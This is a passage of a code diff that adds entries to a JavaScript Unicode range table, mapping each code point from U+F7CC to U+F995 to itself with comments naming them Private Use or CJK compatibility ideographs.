+ ["\uF7CC", "\uF7CC"], /* Private Use */
+ ["\uF7CD", "\uF7CD"], /* Private Use */
+ ["\uF7CE", "\uF7CE"], /* Private Use */
+ ["\uF7CF", "\uF7CF"], /* Private Use */
+ ["\uF7D0", "\uF7D0"], /* Private Use */
+ ["\uF7D1", "\uF7D1"], /* Private Use */
+ ["\uF7D2", "\uF7D2"], /* Private Use */
+ ["\uF7D3", "\uF7D3"], /* Private Use */
+ ["\uF7D4", "\uF7D4"], /* Private Use */
+ ["\uF7D5", "\uF7D5"], /* Private Use */
+ ["\uF7D6", "\uF7D6"], /* Private Use */
+ ["\uF7D7", "\uF7D7"], /* Private Use */
+ ["\uF7D8", "\uF7D8"], /* Private Use */
+ ["\uF7D9", "\uF7D9"], /* Private Use */
+ ["\uF7DA", "\uF7DA"], /* Private Use */
+ ["\uF7DB", "\uF7DB"], /* Private Use */
+ ["\uF7DC", "\uF7DC"], /* Private Use */
+ ["\uF7DD", "\uF7DD"], /* Private Use */
+ ["\uF7DE", "\uF7DE"], /* Private Use */
+ ["\uF7DF", "\uF7DF"], /* Private Use */
+ ["\uF7E0", "\uF7E0"], /* Private Use */
+ ["\uF7E1", "\uF7E1"], /* Private Use */
+ ["\uF7E2", "\uF7E2"], /* Private Use */
+ ["\uF7E3", "\uF7E3"], /* Private Use */
+ ["\uF7E4", "\uF7E4"], /* Private Use */
+ ["\uF7E5", "\uF7E5"], /* Private Use */
+ ["\uF7E6", "\uF7E6"], /* Private Use */
+ ["\uF7E7", "\uF7E7"], /* Private Use */
+ ["\uF7E8", "\uF7E8"], /* Private Use */
+ ["\uF7E9", "\uF7E9"], /* Private Use */
+ ["\uF7EA", "\uF7EA"], /* Private Use */
+ ["\uF7EB", "\uF7EB"], /* Private Use */
+ ["\uF7EC", "\uF7EC"], /* Private Use */
+ ["\uF7ED", "\uF7ED"], /* Private Use */
+ ["\uF7EE", "\uF7EE"], /* Private Use */
+ ["\uF7EF", "\uF7EF"], /* Private Use */
+ ["\uF7F0", "\uF7F0"], /* Private Use */
+ ["\uF7F1", "\uF7F1"], /* Private Use */
+ ["\uF7F2", "\uF7F2"], /* Private Use */
+ ["\uF7F3", "\uF7F3"], /* Private Use */
+ ["\uF7F4", "\uF7F4"], /* Private Use */
+ ["\uF7F5", "\uF7F5"], /* Private Use */
+ ["\uF7F6", "\uF7F6"], /* Private Use */
+ ["\uF7F7", "\uF7F7"], /* Private Use */
+ ["\uF7F8", "\uF7F8"], /* Private Use */
+ ["\uF7F9", "\uF7F9"], /* Private Use */
+ ["\uF7FA", "\uF7FA"], /* Private Use */
+ ["\uF7FB", "\uF7FB"], /* Private Use */
+ ["\uF7FC", "\uF7FC"], /* Private Use */
+ ["\uF7FD", "\uF7FD"], /* Private Use */
+ ["\uF7FE", "\uF7FE"], /* Private Use */
+ ["\uF7FF", "\uF7FF"], /* Private Use */
+ ["\uF800", "\uF800"], /* Private Use */
+ ["\uF801", "\uF801"], /* Private Use */
+ ["\uF802", "\uF802"], /* Private Use */
+ ["\uF803", "\uF803"], /* Private Use */
+ ["\uF804", "\uF804"], /* Private Use */
+ ["\uF805", "\uF805"], /* Private Use */
+ ["\uF806", "\uF806"], /* Private Use */
+ ["\uF807", "\uF807"], /* Private Use */
+ ["\uF808", "\uF808"], /* Private Use */
+ ["\uF809", "\uF809"], /* Private Use */
+ ["\uF80A", "\uF80A"], /* Private Use */
+ ["\uF80B", "\uF80B"], /* Private Use */
+ ["\uF80C", "\uF80C"], /* Private Use */
+ ["\uF80D", "\uF80D"], /* Private Use */
+ ["\uF80E", "\uF80E"], /* Private Use */
+ ["\uF80F", "\uF80F"], /* Private Use */
+ ["\uF810", "\uF810"], /* Private Use */
+ ["\uF811", "\uF811"], /* Private Use */
+ ["\uF812", "\uF812"], /* Private Use */
+ ["\uF813", "\uF813"], /* Private Use */
+ ["\uF814", "\uF814"], /* Private Use */
+ ["\uF815", "\uF815"], /* Private Use */
+ ["\uF816", "\uF816"], /* Private Use */
+ ["\uF817", "\uF817"], /* Private Use */
+ ["\uF818", "\uF818"], /* Private Use */
+ ["\uF819", "\uF819"], /* Private Use */
+ ["\uF81A", "\uF81A"], /* Private Use */
+ ["\uF81B", "\uF81B"], /* Private Use */
+ ["\uF81C", "\uF81C"], /* Private Use */
+ ["\uF81D", "\uF81D"], /* Private Use */
+ ["\uF81E", "\uF81E"], /* Private Use */
+ ["\uF81F", "\uF81F"], /* Private Use */
+ ["\uF820", "\uF820"], /* Private Use */
+ ["\uF821", "\uF821"], /* Private Use */
+ ["\uF822", "\uF822"], /* Private Use */
+ ["\uF823", "\uF823"], /* Private Use */
+ ["\uF824", "\uF824"], /* Private Use */
+ ["\uF825", "\uF825"], /* Private Use */
+ ["\uF826", "\uF826"], /* Private Use */
+ ["\uF827", "\uF827"], /* Private Use */
+ ["\uF828", "\uF828"], /* Private Use */
+ ["\uF829", "\uF829"], /* Private Use */
+ ["\uF82A", "\uF82A"], /* Private Use */
+ ["\uF82B", "\uF82B"], /* Private Use */
+ ["\uF82C", "\uF82C"], /* Private Use */
+ ["\uF82D", "\uF82D"], /* Private Use */
+ ["\uF82E", "\uF82E"], /* Private Use */
+ ["\uF82F", "\uF82F"], /* Private Use */
+ ["\uF830", "\uF830"], /* Private Use */
+ ["\uF831", "\uF831"], /* Private Use */
+ ["\uF832", "\uF832"], /* Private Use */
+ ["\uF833", "\uF833"], /* Private Use */
+ ["\uF834", "\uF834"], /* Private Use */
+ ["\uF835", "\uF835"], /* Private Use */
+ ["\uF836", "\uF836"], /* Private Use */
+ ["\uF837", "\uF837"], /* Private Use */
+ ["\uF838", "\uF838"], /* Private Use */
+ ["\uF839", "\uF839"], /* Private Use */
+ ["\uF83A", "\uF83A"], /* Private Use */
+ ["\uF83B", "\uF83B"], /* Private Use */
+ ["\uF83C", "\uF83C"], /* Private Use */
+ ["\uF83D", "\uF83D"], /* Private Use */
+ ["\uF83E", "\uF83E"], /* Private Use */
+ ["\uF83F", "\uF83F"], /* Private Use */
+ ["\uF840", "\uF840"], /* Private Use */
+ ["\uF841", "\uF841"], /* Private Use */
+ ["\uF842", "\uF842"], /* Private Use */
+ ["\uF843", "\uF843"], /* Private Use */
+ ["\uF844", "\uF844"], /* Private Use */
+ ["\uF845", "\uF845"], /* Private Use */
+ ["\uF846", "\uF846"], /* Private Use */
+ ["\uF847", "\uF847"], /* Private Use */
+ ["\uF848", "\uF848"], /* Private Use */
+ ["\uF849", "\uF849"], /* Private Use */
+ ["\uF84A", "\uF84A"], /* Private Use */
+ ["\uF84B", "\uF84B"], /* Private Use */
+ ["\uF84C", "\uF84C"], /* Private Use */
+ ["\uF84D", "\uF84D"], /* Private Use */
+ ["\uF84E", "\uF84E"], /* Private Use */
+ ["\uF84F", "\uF84F"], /* Private Use */
+ ["\uF850", "\uF850"], /* Private Use */
+ ["\uF851", "\uF851"], /* Private Use */
+ ["\uF852", "\uF852"], /* Private Use */
+ ["\uF853", "\uF853"], /* Private Use */
+ ["\uF854", "\uF854"], /* Private Use */
+ ["\uF855", "\uF855"], /* Private Use */
+ ["\uF856", "\uF856"], /* Private Use */
+ ["\uF857", "\uF857"], /* Private Use */
+ ["\uF858", "\uF858"], /* Private Use */
+ ["\uF859", "\uF859"], /* Private Use */
+ ["\uF85A", "\uF85A"], /* Private Use */
+ ["\uF85B", "\uF85B"], /* Private Use */
+ ["\uF85C", "\uF85C"], /* Private Use */
+ ["\uF85D", "\uF85D"], /* Private Use */
+ ["\uF85E", "\uF85E"], /* Private Use */
+ ["\uF85F", "\uF85F"], /* Private Use */
+ ["\uF860", "\uF860"], /* Private Use */
+ ["\uF861", "\uF861"], /* Private Use */
+ ["\uF862", "\uF862"], /* Private Use */
+ ["\uF863", "\uF863"], /* Private Use */
+ ["\uF864", "\uF864"], /* Private Use */
+ ["\uF865", "\uF865"], /* Private Use */
+ ["\uF866", "\uF866"], /* Private Use */
+ ["\uF867", "\uF867"], /* Private Use */
+ ["\uF868", "\uF868"], /* Private Use */
+ ["\uF869", "\uF869"], /* Private Use */
+ ["\uF86A", "\uF86A"], /* Private Use */
+ ["\uF86B", "\uF86B"], /* Private Use */
+ ["\uF86C", "\uF86C"], /* Private Use */
+ ["\uF86D", "\uF86D"], /* Private Use */
+ ["\uF86E", "\uF86E"], /* Private Use */
+ ["\uF86F", "\uF86F"], /* Private Use */
+ ["\uF870", "\uF870"], /* Private Use */
+ ["\uF871", "\uF871"], /* Private Use */
+ ["\uF872", "\uF872"], /* Private Use */
+ ["\uF873", "\uF873"], /* Private Use */
+ ["\uF874", "\uF874"], /* Private Use */
+ ["\uF875", "\uF875"], /* Private Use */
+ ["\uF876", "\uF876"], /* Private Use */
+ ["\uF877", "\uF877"], /* Private Use */
+ ["\uF878", "\uF878"], /* Private Use */
+ ["\uF879", "\uF879"], /* Private Use */
+ ["\uF87A", "\uF87A"], /* Private Use */
+ ["\uF87B", "\uF87B"], /* Private Use */
+ ["\uF87C", "\uF87C"], /* Private Use */
+ ["\uF87D", "\uF87D"], /* Private Use */
+ ["\uF87E", "\uF87E"], /* Private Use */
+ ["\uF87F", "\uF87F"], /* Private Use */
+ ["\uF880", "\uF880"], /* Private Use */
+ ["\uF881", "\uF881"], /* Private Use */
+ ["\uF882", "\uF882"], /* Private Use */
+ ["\uF883", "\uF883"], /* Private Use */
+ ["\uF884", "\uF884"], /* Private Use */
+ ["\uF885", "\uF885"], /* Private Use */
+ ["\uF886", "\uF886"], /* Private Use */
+ ["\uF887", "\uF887"], /* Private Use */
+ ["\uF888", "\uF888"], /* Private Use */
+ ["\uF889", "\uF889"], /* Private Use */
+ ["\uF88A", "\uF88A"], /* Private Use */
+ ["\uF88B", "\uF88B"], /* Private Use */
+ ["\uF88C", "\uF88C"], /* Private Use */
+ ["\uF88D", "\uF88D"], /* Private Use */
+ ["\uF88E", "\uF88E"], /* Private Use */
+ ["\uF88F", "\uF88F"], /* Private Use */
+ ["\uF890", "\uF890"], /* Private Use */
+ ["\uF891", "\uF891"], /* Private Use */
+ ["\uF892", "\uF892"], /* Private Use */
+ ["\uF893", "\uF893"], /* Private Use */
+ ["\uF894", "\uF894"], /* Private Use */
+ ["\uF895", "\uF895"], /* Private Use */
+ ["\uF896", "\uF896"], /* Private Use */
+ ["\uF897", "\uF897"], /* Private Use */
+ ["\uF898", "\uF898"], /* Private Use */
+ ["\uF899", "\uF899"], /* Private Use */
+ ["\uF89A", "\uF89A"], /* Private Use */
+ ["\uF89B", "\uF89B"], /* Private Use */
+ ["\uF89C", "\uF89C"], /* Private Use */
+ ["\uF89D", "\uF89D"], /* Private Use */
+ ["\uF89E", "\uF89E"], /* Private Use */
+ ["\uF89F", "\uF89F"], /* Private Use */
+ ["\uF8A0", "\uF8A0"], /* Private Use */
+ ["\uF8A1", "\uF8A1"], /* Private Use */
+ ["\uF8A2", "\uF8A2"], /* Private Use */
+ ["\uF8A3", "\uF8A3"], /* Private Use */
+ ["\uF8A4", "\uF8A4"], /* Private Use */
+ ["\uF8A5", "\uF8A5"], /* Private Use */
+ ["\uF8A6", "\uF8A6"], /* Private Use */
+ ["\uF8A7", "\uF8A7"], /* Private Use */
+ ["\uF8A8", "\uF8A8"], /* Private Use */
+ ["\uF8A9", "\uF8A9"], /* Private Use */
+ ["\uF8AA", "\uF8AA"], /* Private Use */
+ ["\uF8AB", "\uF8AB"], /* Private Use */
+ ["\uF8AC", "\uF8AC"], /* Private Use */
+ ["\uF8AD", "\uF8AD"], /* Private Use */
+ ["\uF8AE", "\uF8AE"], /* Private Use */
+ ["\uF8AF", "\uF8AF"], /* Private Use */
+ ["\uF8B0", "\uF8B0"], /* Private Use */
+ ["\uF8B1", "\uF8B1"], /* Private Use */
+ ["\uF8B2", "\uF8B2"], /* Private Use */
+ ["\uF8B3", "\uF8B3"], /* Private Use */
+ ["\uF8B4", "\uF8B4"], /* Private Use */
+ ["\uF8B5", "\uF8B5"], /* Private Use */
+ ["\uF8B6", "\uF8B6"], /* Private Use */
+ ["\uF8B7", "\uF8B7"], /* Private Use */
+ ["\uF8B8", "\uF8B8"], /* Private Use */
+ ["\uF8B9", "\uF8B9"], /* Private Use */
+ ["\uF8BA", "\uF8BA"], /* Private Use */
+ ["\uF8BB", "\uF8BB"], /* Private Use */
+ ["\uF8BC", "\uF8BC"], /* Private Use */
+ ["\uF8BD", "\uF8BD"], /* Private Use */
+ ["\uF8BE", "\uF8BE"], /* Private Use */
+ ["\uF8BF", "\uF8BF"], /* Private Use */
+ ["\uF8C0", "\uF8C0"], /* Private Use */
+ ["\uF8C1", "\uF8C1"], /* Private Use */
+ ["\uF8C2", "\uF8C2"], /* Private Use */
+ ["\uF8C3", "\uF8C3"], /* Private Use */
+ ["\uF8C4", "\uF8C4"], /* Private Use */
+ ["\uF8C5", "\uF8C5"], /* Private Use */
+ ["\uF8C6", "\uF8C6"], /* Private Use */
+ ["\uF8C7", "\uF8C7"], /* Private Use */
+ ["\uF8C8", "\uF8C8"], /* Private Use */
+ ["\uF8C9", "\uF8C9"], /* Private Use */
+ ["\uF8CA", "\uF8CA"], /* Private Use */
+ ["\uF8CB", "\uF8CB"], /* Private Use */
+ ["\uF8CC", "\uF8CC"], /* Private Use */
+ ["\uF8CD", "\uF8CD"], /* Private Use */
+ ["\uF8CE", "\uF8CE"], /* Private Use */
+ ["\uF8CF", "\uF8CF"], /* Private Use */
+ ["\uF8D0", "\uF8D0"], /* Private Use */
+ ["\uF8D1", "\uF8D1"], /* Private Use */
+ ["\uF8D2", "\uF8D2"], /* Private Use */
+ ["\uF8D3", "\uF8D3"], /* Private Use */
+ ["\uF8D4", "\uF8D4"], /* Private Use */
+ ["\uF8D5", "\uF8D5"], /* Private Use */
+ ["\uF8D6", "\uF8D6"], /* Private Use */
+ ["\uF8D7", "\uF8D7"], /* Private Use */
+ ["\uF8D8", "\uF8D8"], /* Private Use */
+ ["\uF8D9", "\uF8D9"], /* Private Use */
+ ["\uF8DA", "\uF8DA"], /* Private Use */
+ ["\uF8DB", "\uF8DB"], /* Private Use */
+ ["\uF8DC", "\uF8DC"], /* Private Use */
+ ["\uF8DD", "\uF8DD"], /* Private Use */
+ ["\uF8DE", "\uF8DE"], /* Private Use */
+ ["\uF8DF", "\uF8DF"], /* Private Use */
+ ["\uF8E0", "\uF8E0"], /* Private Use */
+ ["\uF8E1", "\uF8E1"], /* Private Use */
+ ["\uF8E2", "\uF8E2"], /* Private Use */
+ ["\uF8E3", "\uF8E3"], /* Private Use */
+ ["\uF8E4", "\uF8E4"], /* Private Use */
+ ["\uF8E5", "\uF8E5"], /* Private Use */
+ ["\uF8E6", "\uF8E6"], /* Private Use */
+ ["\uF8E7", "\uF8E7"], /* Private Use */
+ ["\uF8E8", "\uF8E8"], /* Private Use */
+ ["\uF8E9", "\uF8E9"], /* Private Use */
+ ["\uF8EA", "\uF8EA"], /* Private Use */
+ ["\uF8EB", "\uF8EB"], /* Private Use */
+ ["\uF8EC", "\uF8EC"], /* Private Use */
+ ["\uF8ED", "\uF8ED"], /* Private Use */
+ ["\uF8EE", "\uF8EE"], /* Private Use */
+ ["\uF8EF", "\uF8EF"], /* Private Use */
+ ["\uF8F0", "\uF8F0"], /* Private Use */
+ ["\uF8F1", "\uF8F1"], /* Private Use */
+ ["\uF8F2", "\uF8F2"], /* Private Use */
+ ["\uF8F3", "\uF8F3"], /* Private Use */
+ ["\uF8F4", "\uF8F4"], /* Private Use */
+ ["\uF8F5", "\uF8F5"], /* Private Use */
+ ["\uF8F6", "\uF8F6"], /* Private Use */
+ ["\uF8F7", "\uF8F7"], /* Private Use */
+ ["\uF8F8", "\uF8F8"], /* Private Use */
+ ["\uF8F9", "\uF8F9"], /* Private Use */
+ ["\uF8FA", "\uF8FA"], /* Private Use */
+ ["\uF8FB", "\uF8FB"], /* Private Use */
+ ["\uF8FC", "\uF8FC"], /* Private Use */
+ ["\uF8FD", "\uF8FD"], /* Private Use */
+ ["\uF8FE", "\uF8FE"], /* Private Use */
+ ["\uF8FF", "\uF8FF"], /* Private Use */
+ ["\uF900", "\uF900"], /* CJK COMPATIBILITY IDEOGRAPH-F900 */
+ ["\uF901", "\uF901"], /* CJK COMPATIBILITY IDEOGRAPH-F901 */
+ ["\uF902", "\uF902"], /* CJK COMPATIBILITY IDEOGRAPH-F902 */
+ ["\uF903", "\uF903"], /* CJK COMPATIBILITY IDEOGRAPH-F903 */
+ ["\uF904", "\uF904"], /* CJK COMPATIBILITY IDEOGRAPH-F904 */
+ ["\uF905", "\uF905"], /* CJK COMPATIBILITY IDEOGRAPH-F905 */
+ ["\uF906", "\uF906"], /* CJK COMPATIBILITY IDEOGRAPH-F906 */
+ ["\uF907", "\uF907"], /* CJK COMPATIBILITY IDEOGRAPH-F907 */
+ ["\uF908", "\uF908"], /* CJK COMPATIBILITY IDEOGRAPH-F908 */
+ ["\uF909", "\uF909"], /* CJK COMPATIBILITY IDEOGRAPH-F909 */
+ ["\uF90A", "\uF90A"], /* CJK COMPATIBILITY IDEOGRAPH-F90A */
+ ["\uF90B", "\uF90B"], /* CJK COMPATIBILITY IDEOGRAPH-F90B */
+ ["\uF90C", "\uF90C"], /* CJK COMPATIBILITY IDEOGRAPH-F90C */
+ ["\uF90D", "\uF90D"], /* CJK COMPATIBILITY IDEOGRAPH-F90D */
+ ["\uF90E", "\uF90E"], /* CJK COMPATIBILITY IDEOGRAPH-F90E */
+ ["\uF90F", "\uF90F"], /* CJK COMPATIBILITY IDEOGRAPH-F90F */
+ ["\uF910", "\uF910"], /* CJK COMPATIBILITY IDEOGRAPH-F910 */
+ ["\uF911", "\uF911"], /* CJK COMPATIBILITY IDEOGRAPH-F911 */
+ ["\uF912", "\uF912"], /* CJK COMPATIBILITY IDEOGRAPH-F912 */
+ ["\uF913", "\uF913"], /* CJK COMPATIBILITY IDEOGRAPH-F913 */
+ ["\uF914", "\uF914"], /* CJK COMPATIBILITY IDEOGRAPH-F914 */
+ ["\uF915", "\uF915"], /* CJK COMPATIBILITY IDEOGRAPH-F915 */
+ ["\uF916", "\uF916"], /* CJK COMPATIBILITY IDEOGRAPH-F916 */
+ ["\uF917", "\uF917"], /* CJK COMPATIBILITY IDEOGRAPH-F917 */
+ ["\uF918", "\uF918"], /* CJK COMPATIBILITY IDEOGRAPH-F918 */
+ ["\uF919", "\uF919"], /* CJK COMPATIBILITY IDEOGRAPH-F919 */
+ ["\uF91A", "\uF91A"], /* CJK COMPATIBILITY IDEOGRAPH-F91A */
+ ["\uF91B", "\uF91B"], /* CJK COMPATIBILITY IDEOGRAPH-F91B */
+ ["\uF91C", "\uF91C"], /* CJK COMPATIBILITY IDEOGRAPH-F91C */
+ ["\uF91D", "\uF91D"], /* CJK COMPATIBILITY IDEOGRAPH-F91D */
+ ["\uF91E", "\uF91E"], /* CJK COMPATIBILITY IDEOGRAPH-F91E */
+ ["\uF91F", "\uF91F"], /* CJK COMPATIBILITY IDEOGRAPH-F91F */
+ ["\uF920", "\uF920"], /* CJK COMPATIBILITY IDEOGRAPH-F920 */
+ ["\uF921", "\uF921"], /* CJK COMPATIBILITY IDEOGRAPH-F921 */
+ ["\uF922", "\uF922"], /* CJK COMPATIBILITY IDEOGRAPH-F922 */
+ ["\uF923", "\uF923"], /* CJK COMPATIBILITY IDEOGRAPH-F923 */
+ ["\uF924", "\uF924"], /* CJK COMPATIBILITY IDEOGRAPH-F924 */
+ ["\uF925", "\uF925"], /* CJK COMPATIBILITY IDEOGRAPH-F925 */
+ ["\uF926", "\uF926"], /* CJK COMPATIBILITY IDEOGRAPH-F926 */
+ ["\uF927", "\uF927"], /* CJK COMPATIBILITY IDEOGRAPH-F927 */
+ ["\uF928", "\uF928"], /* CJK COMPATIBILITY IDEOGRAPH-F928 */
+ ["\uF929", "\uF929"], /* CJK COMPATIBILITY IDEOGRAPH-F929 */
+ ["\uF92A", "\uF92A"], /* CJK COMPATIBILITY IDEOGRAPH-F92A */
+ ["\uF92B", "\uF92B"], /* CJK COMPATIBILITY IDEOGRAPH-F92B */
+ ["\uF92C", "\uF92C"], /* CJK COMPATIBILITY IDEOGRAPH-F92C */
+ ["\uF92D", "\uF92D"], /* CJK COMPATIBILITY IDEOGRAPH-F92D */
+ ["\uF92E", "\uF92E"], /* CJK COMPATIBILITY IDEOGRAPH-F92E */
+ ["\uF92F", "\uF92F"], /* CJK COMPATIBILITY IDEOGRAPH-F92F */
+ ["\uF930", "\uF930"], /* CJK COMPATIBILITY IDEOGRAPH-F930 */
+ ["\uF931", "\uF931"], /* CJK COMPATIBILITY IDEOGRAPH-F931 */
+ ["\uF932", "\uF932"], /* CJK COMPATIBILITY IDEOGRAPH-F932 */
+ ["\uF933", "\uF933"], /* CJK COMPATIBILITY IDEOGRAPH-F933 */
+ ["\uF934", "\uF934"], /* CJK COMPATIBILITY IDEOGRAPH-F934 */
+ ["\uF935", "\uF935"], /* CJK COMPATIBILITY IDEOGRAPH-F935 */
+ ["\uF936", "\uF936"], /* CJK COMPATIBILITY IDEOGRAPH-F936 */
+ ["\uF937", "\uF937"], /* CJK COMPATIBILITY IDEOGRAPH-F937 */
+ ["\uF938", "\uF938"], /* CJK COMPATIBILITY IDEOGRAPH-F938 */
+ ["\uF939", "\uF939"], /* CJK COMPATIBILITY IDEOGRAPH-F939 */
+ ["\uF93A", "\uF93A"], /* CJK COMPATIBILITY IDEOGRAPH-F93A */
+ ["\uF93B", "\uF93B"], /* CJK COMPATIBILITY IDEOGRAPH-F93B */
+ ["\uF93C", "\uF93C"], /* CJK COMPATIBILITY IDEOGRAPH-F93C */
+ ["\uF93D", "\uF93D"], /* CJK COMPATIBILITY IDEOGRAPH-F93D */
+ ["\uF93E", "\uF93E"], /* CJK COMPATIBILITY IDEOGRAPH-F93E */
+ ["\uF93F", "\uF93F"], /* CJK COMPATIBILITY IDEOGRAPH-F93F */
+ ["\uF940", "\uF940"], /* CJK COMPATIBILITY IDEOGRAPH-F940 */
+ ["\uF941", "\uF941"], /* CJK COMPATIBILITY IDEOGRAPH-F941 */
+ ["\uF942", "\uF942"], /* CJK COMPATIBILITY IDEOGRAPH-F942 */
+ ["\uF943", "\uF943"], /* CJK COMPATIBILITY IDEOGRAPH-F943 */
+ ["\uF944", "\uF944"], /* CJK COMPATIBILITY IDEOGRAPH-F944 */
+ ["\uF945", "\uF945"], /* CJK COMPATIBILITY IDEOGRAPH-F945 */
+ ["\uF946", "\uF946"], /* CJK COMPATIBILITY IDEOGRAPH-F946 */
+ ["\uF947", "\uF947"], /* CJK COMPATIBILITY IDEOGRAPH-F947 */
+ ["\uF948", "\uF948"], /* CJK COMPATIBILITY IDEOGRAPH-F948 */
+ ["\uF949", "\uF949"], /* CJK COMPATIBILITY IDEOGRAPH-F949 */
+ ["\uF94A", "\uF94A"], /* CJK COMPATIBILITY IDEOGRAPH-F94A */
+ ["\uF94B", "\uF94B"], /* CJK COMPATIBILITY IDEOGRAPH-F94B */
+ ["\uF94C", "\uF94C"], /* CJK COMPATIBILITY IDEOGRAPH-F94C */
+ ["\uF94D", "\uF94D"], /* CJK COMPATIBILITY IDEOGRAPH-F94D */
+ ["\uF94E", "\uF94E"], /* CJK COMPATIBILITY IDEOGRAPH-F94E */
+ ["\uF94F", "\uF94F"], /* CJK COMPATIBILITY IDEOGRAPH-F94F */
+ ["\uF950", "\uF950"], /* CJK COMPATIBILITY IDEOGRAPH-F950 */
+ ["\uF951", "\uF951"], /* CJK COMPATIBILITY IDEOGRAPH-F951 */
+ ["\uF952", "\uF952"], /* CJK COMPATIBILITY IDEOGRAPH-F952 */
+ ["\uF953", "\uF953"], /* CJK COMPATIBILITY IDEOGRAPH-F953 */
+ ["\uF954", "\uF954"], /* CJK COMPATIBILITY IDEOGRAPH-F954 */
+ ["\uF955", "\uF955"], /* CJK COMPATIBILITY IDEOGRAPH-F955 */
+ ["\uF956", "\uF956"], /* CJK COMPATIBILITY IDEOGRAPH-F956 */
+ ["\uF957", "\uF957"], /* CJK COMPATIBILITY IDEOGRAPH-F957 */
+ ["\uF958", "\uF958"], /* CJK COMPATIBILITY IDEOGRAPH-F958 */
+ ["\uF959", "\uF959"], /* CJK COMPATIBILITY IDEOGRAPH-F959 */
+ ["\uF95A", "\uF95A"], /* CJK COMPATIBILITY IDEOGRAPH-F95A */
+ ["\uF95B", "\uF95B"], /* CJK COMPATIBILITY IDEOGRAPH-F95B */
+ ["\uF95C", "\uF95C"], /* CJK COMPATIBILITY IDEOGRAPH-F95C */
+ ["\uF95D", "\uF95D"], /* CJK COMPATIBILITY IDEOGRAPH-F95D */
+ ["\uF95E", "\uF95E"], /* CJK COMPATIBILITY IDEOGRAPH-F95E */
+ ["\uF95F", "\uF95F"], /* CJK COMPATIBILITY IDEOGRAPH-F95F */
+ ["\uF960", "\uF960"], /* CJK COMPATIBILITY IDEOGRAPH-F960 */
+ ["\uF961", "\uF961"], /* CJK COMPATIBILITY IDEOGRAPH-F961 */
+ ["\uF962", "\uF962"], /* CJK COMPATIBILITY IDEOGRAPH-F962 */
+ ["\uF963", "\uF963"], /* CJK COMPATIBILITY IDEOGRAPH-F963 */
+ ["\uF964", "\uF964"], /* CJK COMPATIBILITY IDEOGRAPH-F964 */
+ ["\uF965", "\uF965"], /* CJK COMPATIBILITY IDEOGRAPH-F965 */
+ ["\uF966", "\uF966"], /* CJK COMPATIBILITY IDEOGRAPH-F966 */
+ ["\uF967", "\uF967"], /* CJK COMPATIBILITY IDEOGRAPH-F967 */
+ ["\uF968", "\uF968"], /* CJK COMPATIBILITY IDEOGRAPH-F968 */
+ ["\uF969", "\uF969"], /* CJK COMPATIBILITY IDEOGRAPH-F969 */
+ ["\uF96A", "\uF96A"], /* CJK COMPATIBILITY IDEOGRAPH-F96A */
+ ["\uF96B", "\uF96B"], /* CJK COMPATIBILITY IDEOGRAPH-F96B */
+ ["\uF96C", "\uF96C"], /* CJK COMPATIBILITY IDEOGRAPH-F96C */
+ ["\uF96D", "\uF96D"], /* CJK COMPATIBILITY IDEOGRAPH-F96D */
+ ["\uF96E", "\uF96E"], /* CJK COMPATIBILITY IDEOGRAPH-F96E */
+ ["\uF96F", "\uF96F"], /* CJK COMPATIBILITY IDEOGRAPH-F96F */
+ ["\uF970", "\uF970"], /* CJK COMPATIBILITY IDEOGRAPH-F970 */
+ ["\uF971", "\uF971"], /* CJK COMPATIBILITY IDEOGRAPH-F971 */
+ ["\uF972", "\uF972"], /* CJK COMPATIBILITY IDEOGRAPH-F972 */
+ ["\uF973", "\uF973"], /* CJK COMPATIBILITY IDEOGRAPH-F973 */
+ ["\uF974", "\uF974"], /* CJK COMPATIBILITY IDEOGRAPH-F974 */
+ ["\uF975", "\uF975"], /* CJK COMPATIBILITY IDEOGRAPH-F975 */
+ ["\uF976", "\uF976"], /* CJK COMPATIBILITY IDEOGRAPH-F976 */
+ ["\uF977", "\uF977"], /* CJK COMPATIBILITY IDEOGRAPH-F977 */
+ ["\uF978", "\uF978"], /* CJK COMPATIBILITY IDEOGRAPH-F978 */
+ ["\uF979", "\uF979"], /* CJK COMPATIBILITY IDEOGRAPH-F979 */
+ ["\uF97A", "\uF97A"], /* CJK COMPATIBILITY IDEOGRAPH-F97A */
+ ["\uF97B", "\uF97B"], /* CJK COMPATIBILITY IDEOGRAPH-F97B */
+ ["\uF97C", "\uF97C"], /* CJK COMPATIBILITY IDEOGRAPH-F97C */
+ ["\uF97D", "\uF97D"], /* CJK COMPATIBILITY IDEOGRAPH-F97D */
+ ["\uF97E", "\uF97E"], /* CJK COMPATIBILITY IDEOGRAPH-F97E */
+ ["\uF97F", "\uF97F"], /* CJK COMPATIBILITY IDEOGRAPH-F97F */
+ ["\uF980", "\uF980"], /* CJK COMPATIBILITY IDEOGRAPH-F980 */
+ ["\uF981", "\uF981"], /* CJK COMPATIBILITY IDEOGRAPH-F981 */
+ ["\uF982", "\uF982"], /* CJK COMPATIBILITY IDEOGRAPH-F982 */
+ ["\uF983", "\uF983"], /* CJK COMPATIBILITY IDEOGRAPH-F983 */
+ ["\uF984", "\uF984"], /* CJK COMPATIBILITY IDEOGRAPH-F984 */
+ ["\uF985", "\uF985"], /* CJK COMPATIBILITY IDEOGRAPH-F985 */
+ ["\uF986", "\uF986"], /* CJK COMPATIBILITY IDEOGRAPH-F986 */
+ ["\uF987", "\uF987"], /* CJK COMPATIBILITY IDEOGRAPH-F987 */
+ ["\uF988", "\uF988"], /* CJK COMPATIBILITY IDEOGRAPH-F988 */
+ ["\uF989", "\uF989"], /* CJK COMPATIBILITY IDEOGRAPH-F989 */
+ ["\uF98A", "\uF98A"], /* CJK COMPATIBILITY IDEOGRAPH-F98A */
+ ["\uF98B", "\uF98B"], /* CJK COMPATIBILITY IDEOGRAPH-F98B */
+ ["\uF98C", "\uF98C"], /* CJK COMPATIBILITY IDEOGRAPH-F98C */
+ ["\uF98D", "\uF98D"], /* CJK COMPATIBILITY IDEOGRAPH-F98D */
+ ["\uF98E", "\uF98E"], /* CJK COMPATIBILITY IDEOGRAPH-F98E */
+ ["\uF98F", "\uF98F"], /* CJK COMPATIBILITY IDEOGRAPH-F98F */
+ ["\uF990", "\uF990"], /* CJK COMPATIBILITY IDEOGRAPH-F990 */
+ ["\uF991", "\uF991"], /* CJK COMPATIBILITY IDEOGRAPH-F991 */
+ ["\uF992", "\uF992"], /* CJK COMPATIBILITY IDEOGRAPH-F992 */
+ ["\uF993", "\uF993"], /* CJK COMPATIBILITY IDEOGRAPH-F993 */
+ ["\uF994", "\uF994"], /* CJK COMPATIBILITY IDEOGRAPH-F994 */
+ ["\uF995", "\uF995"], /* CJK COMPATIBILITY IDEOGRAPH-F995 */
